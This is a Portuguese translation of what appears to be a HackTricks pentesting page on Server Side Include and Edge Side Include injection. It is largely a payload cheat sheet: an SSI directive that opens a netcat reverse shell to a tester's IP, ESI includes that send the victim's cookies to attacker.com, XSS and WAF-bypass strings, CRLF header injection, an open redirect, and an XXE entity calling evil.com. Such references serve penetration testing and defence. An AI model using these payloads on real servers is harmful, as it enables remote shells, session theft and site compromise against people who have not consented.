12 KiB
Informações Básicas sobre Inclusão do Lado do Servidor
SSI (Server Side Includes) são diretivas que são colocadas em páginas HTML e avaliadas no servidor enquanto as páginas estão sendo servidas. Elas permitem que você adicione conteúdo gerado dinamicamente a uma página HTML existente, sem ter que servir a página inteira por meio de um programa CGI ou outra tecnologia dinâmica.
Por exemplo, você pode colocar uma diretiva em uma página HTML existente, como:
<!--#echo var="DATE_LOCAL" -->
E, quando a página é servida, este fragmento será avaliado e substituído por seu valor:
Terça-feira, 15-Jan-2013 19:28:54 EST
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa é geralmente uma questão de quanto da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como a hora atual - mostrada acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar outra solução. (Definição retirada daqui (https://httpd.apache.org/docs/current/howto/ssi.html)).
Você pode inferir a presença de SSI se a aplicação web usa arquivos com as extensões ** .shtml
, .shtm
ou .stm
**, mas não é apenas o caso.
Uma expressão SSI típica tem o seguinte formato:
<!--#directive param="value" -->
Verificação
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Inclusão do Lado do Servidor
Existe um problema ao armazenar em cache informações ou aplicativos dinâmicos pois parte do conteúdo pode ter variações para a próxima vez que o conteúdo for recuperado. É para isso que o ESI é usado, para indicar usando tags ESI o conteúdo dinâmico que precisa ser gerado antes de enviar a versão em cache.
Se um atacante for capaz de injetar uma tag ESI dentro do conteúdo em cache, então ele pode ser capaz de injetar conteúdo arbitrário no documento antes que seja enviado aos usuários.
Detecção de ESI
O seguinte cabeçalho em uma resposta do servidor significa que o servidor está usando ESI:
Surrogate-Control: content="ESI/1.0"
Se você não conseguir encontrar esse cabeçalho, o servidor ainda pode estar usando ESI.
Uma abordagem de exploração cega também pode ser usada já que uma solicitação deve chegar ao servidor do atacante:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
Exploração de ESI
GoSecure criou uma tabela para nos ajudar a entender possíveis ataques que podemos tentar contra diferentes softwares capazes de ESI, dependendo da funcionalidade suportada. Vamos fornecer algumas explicações sobre os nomes das colunas da tabela abaixo primeiro:
- Includes: Suporta a diretiva
<esi:includes>
- Vars: Suporta a diretiva
<esi:vars>
. Útil para contornar filtros XSS - Cookie: Os cookies do documento são acessíveis ao mecanismo ESI
- Upstream Headers Required: As aplicações de substituição não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
- Host Allowlist: Neste caso, as inclusões ESI só são possíveis a partir de hosts de servidor permitidos, tornando, por exemplo, SSRF possível apenas contra esses hosts
Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Sim | Sim | Sim | Sim | Não |
Varnish Cache | Sim | Não | Não | Sim | Sim |
Fastly | Sim | Não | Não | Não | Sim |
Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
NodeJS esi | Sim | Sim | Sim | Não | Não |
NodeJS nodesi | Sim | Não | Não | Não | Opcional |
XSS
A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do servidor.
<esi:include src=http://attacker.com/xss.html>
O arquivo http://attacker.com/xss.html pode conter um payload XSS como <script>alert(1)</script>
Bypassar proteção XSS do cliente
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Roubo de Cookie
- Roubo remoto de cookie
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- Roubar cookie HTTP_ONLY com XSS refletindo-o na resposta:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
- Tomada completa da conta refletindo cookies
Arquivo Local Privado
Não confunda isso com "Inclusão de Arquivo Local":
<esi:include src="secret.txt">
CRLF
CRLF significa Carriage Return Line Feed. É uma sequência de caracteres usada para representar o final de uma linha de texto em um arquivo. Em sistemas Windows, CRLF é usado para indicar uma nova linha, enquanto em sistemas Unix, apenas LF é usado. O CRLF é importante em ataques de Injeção de SSI/ESI, pois pode ser usado para injetar cabeçalhos HTTP maliciosos e, assim, realizar ataques de phishing ou redirecionamento de página.
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Redirecionamento Aberto
O seguinte adicionará um cabeçalho Location
à resposta.
<!--esi $add_header('Location','http://attacker.com') -->
Adicionar Cabeçalho
- Adicionar cabeçalho em requisição forçada
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- Adicionar cabeçalho na resposta (útil para contornar "Content-Type: text/json" em uma resposta com XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
CRLF em Adicionar cabeçalho (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Depuração Akamai
Isso enviará informações de depuração incluídas na resposta:
<esi:debug/>
ESI + XSLT = XXE
Também é possível adicionar includes ESI baseados em _eXtensible Stylesheet Language Transformations (XSLT)_ adicionando o valor xslt
ao parâmetro dca. O seguinte include fará com que o HTTP surrogate solicite o arquivo XML e XSLT. O arquivo XSLT é então usado para filtrar o arquivo XML. Este arquivo XML pode ser usado para realizar ataques XML External Entity (XXE). Isso permite que os atacantes realizem ataques SSRF, o que não é muito útil, já que isso deve ser feito por meio de includes ESI, que é um vetor SSRF em si. DTDs externos não são analisados, pois a biblioteca subjacente (Xalan) não tem suporte para isso. Isso significa que não podemos extrair arquivos locais.
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
O arquivo XSLT:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Verifique a página XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}
Referências
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.